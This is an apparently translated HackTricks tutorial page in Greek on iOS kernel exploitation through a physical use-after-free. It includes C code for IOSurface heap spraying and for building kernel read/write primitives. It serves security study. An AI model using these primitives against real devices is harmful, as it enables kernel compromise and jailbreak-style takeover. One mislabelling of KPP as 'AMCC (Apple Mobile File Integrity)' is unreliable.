iOS Physical Use After Free via IOSurface
Reading time: 11 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Μηχανισμοί μετριασμού εκμεταλλεύσεων στο iOS
- Code Signing στο iOS απαιτεί κάθε κομμάτι εκτελέσιμου κώδικα (apps, libraries, extensions, κ.λπ.) να είναι κρυπτογραφικά υπογεγραμμένο με πιστοποιητικό που εκδίδει η Apple. Όταν φορτώνεται κώδικας, το iOS επαληθεύει την ψηφιακή υπογραφή έναντι της αξιόπιστης ρίζας της Apple. Αν η υπογραφή είναι άκυρη, λείπει ή έχει τροποποιηθεί, το OS αρνείται την εκτέλεση. Αυτό αποτρέπει επιθέσεις που βασίζονται στην έγχυση κακόβουλου κώδικα σε νόμιμες εφαρμογές ή στην εκτέλεση unsigned binaries.
- CoreTrust είναι το υποσύστημα που επιβλέπει την επιβολή του code signing κατά το runtime. Επαληθεύει απευθείας υπογραφές χρησιμοποιώντας το root certificate της Apple χωρίς να βασίζεται σε cached trust stores, πράγμα που σημαίνει ότι μόνο binaries υπογεγραμμένα από Apple (ή με έγκυρα entitlements) μπορούν να εκτελεστούν. Το CoreTrust εμποδίζει την εκτέλεση τροποποιημένου ή unsigned κώδικα.
- Data Execution Prevention (DEP) σηματοδοτεί περιοχές μνήμης ως non-executable εκτός αν περιέχουν ρητά κώδικα. Αυτό εμποδίζει την έγχυση shellcode σε data regions (όπως stack ή heap) και την άμεση εκτέλεσή του, αναγκάζοντας σε πιο σύνθετες τεχνικές όπως ROP.
- ASLR (Address Space Layout Randomization) τυχαίοςizes τις διευθύνσεις μνήμης του κώδικα, των libraries, του stack και του heap κάθε φορά που τρέχει το σύστημα. Αυτό δυσκολεύει την πρόβλεψη τοποθεσιών με χρήσιμες οδηγίες ή gadgets.
- KASLR (Kernel ASLR) εφαρμόζει την ίδια τυχαιοποίηση στον kernel, αναμιγνύοντας τη base address του kernel σε κάθε boot ώστε να αποτρέπεται ο αξιόπιστος εντοπισμός kernel functions ή δομών.
- Kernel Patch Protection (KPP), επίσης γνωστό ως AMCC (Apple Mobile File Integrity), παρακολουθεί συνεχώς τις kernel code pages για να βεβαιωθεί ότι δεν έχουν τροποποιηθεί. Αν εντοπιστεί tampering—π.χ. κάποια προσπάθεια patching ή εισαγωγής κακόβουλου κώδικα—η συσκευή panicάρει και κάνει reboot.
- Kernel Text Readonly Region (KTRR) είναι ένα hardware-based feature που κλειδώνει το kernel code (text) section ως μόνιμα read-only μετά το boot. Ακόμα και ο ίδιος ο kernel δεν μπορεί να τροποποιήσει αυτή την περιοχή, αποτρέποντας runtime patching του kernel code.
- Pointer Authentication Codes (PAC) χρησιμοποιούν κρυπτογραφικές υπογραφές ενσωματωμένες σε bits pointer για να επαληθεύουν την ακεραιότητα πριν την χρήση. Όταν ένας pointer (π.χ. return address ή function pointer) δημιουργείται, το CPU τον υπογράφει· πριν τη dereference, ελέγχεται η υπογραφή. Αν ο pointer έχει τροποποιηθεί, ο έλεγχος αποτυγχάνει και η εκτέλεση σταματά. Αυτό δυσκολεύει τεχνικές όπως ROP ή JOP.
- Privilege Access Never (PAN) είναι ένα hardware feature που αποτρέπει τον kernel (privileged mode) από το να αποκτά πρόσβαση σε user-space μνήμη εκτός αν ενεργοποιήσει ρητά την πρόσβαση. Αυτό εμποδίζει attackers με kernel execution από το να διαβάζουν/γράφουν εύκολα user memory για escalation ή κλοπή δεδομένων.
- Page Protection Layer (PPL) είναι ένας μηχανισμός ασφαλείας που προστατεύει κρίσιμες kernel-managed περιοχές μνήμης, ειδικά αυτές που σχετίζονται με code signing και entitlements. Εφαρμόζει αυστηρές write protections μέσω της MMU και πρόσθετων ελέγχων, διασφαλίζοντας ότι ακόμα και privileged kernel code δεν μπορεί να τροποποιήσει αυθαίρετα ευαίσθητες σελίδες.
Physical use-after-free
Αυτή είναι μια περίληψη από το άρθρο στο https://alfiecg.uk/2024/09/24/Kernel-exploit.html. Επιπλέον πληροφορίες και writeups για exploits που χρησιμοποιούν αυτή την τεχνική υπάρχουν στο https://github.com/felix-pb/kfd.
Memory management in XNU
Το virtual memory address space για user processes στο iOS εκτείνεται από 0x0 έως 0x8000000000. Αυτές οι διευθύνσεις δεν αντιστοιχούν απευθείας στη physical memory· ο kernel χρησιμοποιεί page tables για να μεταφράζει virtual addresses σε πραγματικές physical addresses.
Levels of Page Tables in iOS
Οι page tables οργανώνονται ιεραρχικά σε τρία επίπεδα:
- L1 Page Table (Level 1):
- Κάθε entry εδώ αντιπροσωπεύει ένα μεγάλο εύρος virtual memory.
- Καλύπτει 0x1000000000 bytes (ή 256 GB) virtual memory.
- L2 Page Table (Level 2):
- Κάθε entry εδώ αντιστοιχεί σε μικρότερη περιοχή virtual memory, συγκεκριμένα 0x2000000 bytes (32 MB).
- Μια εγγραφή L1 μπορεί να δείχνει σε ένα L2 table αν δεν μπορεί να χαρτογραφήσει ολόκληρη την περιοχή από μόνη της.
- L3 Page Table (Level 3):
- Το πιο λεπτομερές επίπεδο, όπου κάθε entry χαρτογραφεί μια μεμονωμένη σελίδα των 4 KB.
- Μια εγγραφή L2 μπορεί να δείχνει σε ένα L3 table όταν χρειάζεται πιο λεπτομερής έλεγχος.
Mapping Virtual to Physical Memory
- Direct Mapping (Block Mapping):
- Ορισμένες εγγραφές στον page table χαρτογραφούν άμεσα ένα range virtual addresses σε μια συνεχόμενη περιοχή physical addresses (σαν συντόμευση).
- Pointer to Child Page Table:
- Αν χρειάζεται πιο λεπτομερής έλεγχος, μια εγγραφή σε ένα επίπεδο (π.χ. L1) μπορεί να δείχνει σε έναν child page table στο επόμενο επίπεδο (π.χ. L2).
Example: Mapping a Virtual Address
Αν προσπαθήσετε να προσπελάσετε την virtual address 0x1000000000:
- L1 Table:
- Ο kernel ελέγχει την L1 page table entry που αντιστοιχεί σε αυτή τη virtual address. Αν έχει pointer σε ένα L2 page table, μεταβαίνει εκεί.
- L2 Table:
- Ο kernel ελέγχει την εγγραφή στο L2 για πιο λεπτομερή mapping. Αν αυτή η εγγραφή δείχνει σε ένα L3 page table, συνεχίζει εκεί.
- L3 Table:
- Ο kernel αναζητά την τελική L3 εγγραφή, η οποία δείχνει στην physical address της πραγματικής memory page.
Example of Address Mapping
Αν γράψετε την physical address 0x800004000 στο πρώτο index του L2 table, τότε:
- Οι virtual addresses από 0x1000000000 έως 0x1002000000 αντιστοιχούν σε physical addresses από 0x800004000 έως 0x802004000.
- Αυτό είναι ένα block mapping σε επίπεδο L2.
Εναλλακτικά, αν η L2 εγγραφή δείχνει σε ένα L3 table:
- Κάθε σελίδα των 4 KB στην virtual περιοχή 0x1000000000 -> 0x1002000000 θα χαρτογραφείται από ξεχωριστές εγγραφές στο L3 table.
Physical use-after-free
Μια physical use-after-free (UAF) συμβαίνει όταν:
- Μια διεργασία κάνει allocate κάποια μνήμη ως readable και writable.
- Οι page tables ενημερώνονται ώστε να map αυτή τη μνήμη σε μια συγκεκριμένη physical address που η διεργασία μπορεί να προσπελάσει.
- Η διεργασία απελευθερώνει (frees) τη μνήμη.
- Εντούτοις, λόγω bug, ο kernel ξεχνάει να αφαιρέσει το mapping από τους page tables, παρότι η physical memory σημειώνεται ως ελεύθερη.
- Ο kernel μπορεί στη συνέχεια να realloc αυτή τη "freed" physical memory για άλλους σκοπούς, όπως kernel data.
- Εφόσον το mapping δεν αφαιρέθηκε, η διεργασία μπορεί ακόμα να διαβάζει και να γράφει σε αυτήν την physical memory.
Αυτό σημαίνει ότι η διεργασία μπορεί να προσπελάσει σελίδες kernel memory, που μπορεί να περιέχουν ευαίσθητα δεδομένα ή δομές, δίνοντας τη δυνατότητα σε attacker να χειραγωγήσει kernel memory.
IOSurface Heap Spray
Επειδή ο attacker δεν ελέγχει ποιες συγκεκριμένες kernel σελίδες θα ανατεθούν στη freed μνήμη, χρησιμοποιεί τεχνική heap spray:
- Ο attacker δημιουργεί μεγάλο αριθμό IOSurface objects στην kernel memory.
- Κάθε IOSurface object περιέχει μια magic value σε ένα από τα πεδία του, κάνοντάς τα εύκολα αναγνωρίσιμα.
- Σαρώνει τις freed σελίδες για να δει αν κάποια από αυτά τα IOSurface objects κατέληξαν σε μια freed σελίδα.
- Όταν βρει ένα IOSurface object σε freed σελίδα, μπορεί να το χρησιμοποιήσει για να διαβάζει και να γράφει kernel memory.
Περισσότερα στο https://github.com/felix-pb/kfd/tree/main/writeups
tip
Λάβετε υπόψη ότι iOS 16+ (A12+) συσκευές φέρνουν hardware mitigations (όπως PPL ή SPTM) που καθιστούν τις physical UAF τεχνικές πολύ λιγότερο εφαρμόσιμες. PPL επιβάλλει αυστηρές MMU προστασίες σε σελίδες που σχετίζονται με code signing, entitlements και ευαίσθητα kernel δεδομένα, οπότε ακόμα κι αν μια σελίδα επαναχρησιμοποιηθεί, οι εγγραφές από userland ή kompromised kernel code σε PPL-protected pages μπλοκάρονται. Secure Page Table Monitor (SPTM) επεκτείνει το PPL ενισχύοντας τις ενημερώσεις των page tables οι ίδιες. Εξασφαλίζει ότι ακόμα και privileged kernel code δεν μπορεί να remap freed σελίδες ή να τροποποιήσει mappings χωρίς secure checks. KTRR κλειδώνει το kernel code section ως read-only μετά το boot, αποτρέποντας runtime τροποποιήσεις του kernel code — ένα κοινό σημείο εκμετάλλευσης που physical UAF exploits συχνά εκμεταλλεύονταν. Επιπλέον, οι IOSurface allocations είναι πλέον λιγότερο προβλέψιμες και πιο δύσκολο να τοποθετηθούν σε user-accessible περιοχές, καθιστώντας την τεχνική του σκαναρίσματος για magic value πολύ λιγότερο αξιόπιστη. Το IOSurface επίσης φυλάσσεται από entitlements και sandbox περιορισμούς.
Step-by-Step Heap Spray Process
- Spray IOSurface Objects: Ο attacker δημιουργεί πολλά IOSurface objects με ένα ειδικό identifier ("magic value").
- Scan Freed Pages: Ελέγχει αν κάποια από τα αντικείμενα έχουν ανατεθεί σε μια freed σελίδα.
- Read/Write Kernel Memory: Με την τεχνική επεξεργασίας πεδίων στο IOSurface αντικείμενο, αποκτά ικανότητα για arbitrary reads και writes στην kernel memory. Αυτό του επιτρέπει να:
- Χρησιμοποιήσει ένα πεδίο για να διαβάσει οποιαδήποτε 32-bit τιμή στην kernel memory.
- Χρησιμοποιήσει άλλο πεδίο για να γράψει 64-bit τιμές, επιτυγχάνοντας σταθερό kernel read/write primitive.
Δημιουργήστε αντικείμενα IOSurface με την μαγική τιμή IOSURFACE_MAGIC για να τα αναζητήσετε αργότερα:
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
Αναζήτηση για IOSurface
αντικείμενα σε μία ελευθερωμένη φυσική σελίδα:
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
Επίτευξη Kernel Read/Write με IOSurface
Μετά τον έλεγχο ενός αντικειμένου IOSurface στη kernel memory (mapped to a freed physical page accessible from userspace), μπορούμε να το χρησιμοποιήσουμε για αυθαίρετες kernel read και write λειτουργίες.
Key Fields in IOSurface
Το αντικείμενο IOSurface έχει δύο κρίσιμα πεδία:
- Use Count Pointer: Επιτρέπει ένα 32-bit read.
- Indexed Timestamp Pointer: Επιτρέπει ένα 64-bit write.
Με την επανεγγραφή αυτών των δεικτών, τους ανακατευθύνουμε σε αυθαίρετες διευθύνσεις στη kernel memory, ενεργοποιώντας δυνατότητες read/write.
32-Bit Kernel Read
Για να πραγματοποιήσουμε μια ανάγνωση:
- Επανεγγράψτε το use count pointer ώστε να δείχνει στη διεύθυνση-στόχο μείον μια μετατόπιση 0x14.
- Χρησιμοποιήστε τη μέθοδο
get_use_count
για να διαβάσετε την τιμή σε εκείνη τη διεύθυνση.
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
64-Bit Kernel Write
Για να εκτελέσετε μια εγγραφή:
- Αντικαταστήστε τον indexed timestamp pointer με τη διεύθυνση-στόχο.
- Χρησιμοποιήστε τη μέθοδο
set_indexed_timestamp
για να γράψετε μια 64-bit τιμή.
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
Ανακεφαλαίωση Exploit Flow
- Trigger Physical Use-After-Free: Οι ελεύθερες σελίδες είναι διαθέσιμες για επαναχρησιμοποίηση.
- Spray IOSurface Objects: Κατανείμετε πολλά IOSurface objects με μια μοναδική "magic value" στη kernel memory.
- Identify Accessible IOSurface: Εντοπίστε ένα IOSurface σε μια ελεύθερη σελίδα που ελέγχετε.
- Abuse Use-After-Free: Τροποποιήστε δείκτες στο αντικείμενο IOSurface για να επιτρέψετε αυθαίρετο kernel read/write μέσω μεθόδων IOSurface.
Με αυτά τα primitives, το exploit παρέχει ελεγχόμενα 32-bit reads και 64-bit writes στη kernel memory. Περαιτέρω βήματα jailbreak μπορεί να περιλαμβάνουν πιο σταθερά read/write primitives, που ενδέχεται να απαιτούν παράκαμψη πρόσθετων προστασιών (π.χ. PPL σε νεότερες συσκευές arm64e).
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.